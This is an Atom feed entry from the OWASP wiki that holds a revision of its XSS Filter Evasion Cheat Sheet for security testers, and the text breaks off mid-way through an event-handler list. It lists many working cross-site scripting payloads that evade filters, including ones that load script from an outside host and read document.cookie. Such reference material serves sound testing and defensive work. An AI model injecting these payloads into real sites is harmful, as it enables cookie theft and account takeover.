<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Dan+Wallis</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Dan+Wallis"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Dan_Wallis"/>
		<updated>2026-05-29T14:41:15Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=233204</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=233204"/>
				<updated>2017-09-13T00:34:51Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: /* HTML entities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS Locator (short) ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;xss.rocks&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Filter bypass based polyglot ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;pre&amp;gt;'&amp;quot;&amp;gt;&amp;gt;&amp;lt;marquee&amp;gt;&amp;lt;img src=x onerror=confirm(1)&amp;gt;&amp;lt;/marquee&amp;gt;&amp;quot;&amp;gt;&amp;lt;/plaintext\&amp;gt;&amp;lt;/|\&amp;gt;&amp;lt;plaintext/onmouseover=prompt(1)&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;@gmail.com&amp;lt;isindex formaction=javascript:alert(/XSS/) type=submit&amp;gt;'--&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img/id=&amp;quot;confirm&amp;amp;lpar;1&amp;amp;#x29;&amp;quot;/alt=&amp;quot;/&amp;quot;src=&amp;quot;/&amp;quot;onerror=eval(id&amp;amp;#x29;&amp;gt;'&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;amp;quot;XSS&amp;amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam(@Abdulahhusam).&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG  onerror and javascript alert encode==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=x onerror=&amp;quot;&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://xss.rocks/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//xss.rocks/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://xss.rocks/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SVG object tag ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;svg/onload=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECMAScript 6 ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Set.constructor`alert\x28document.domain\x29```&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
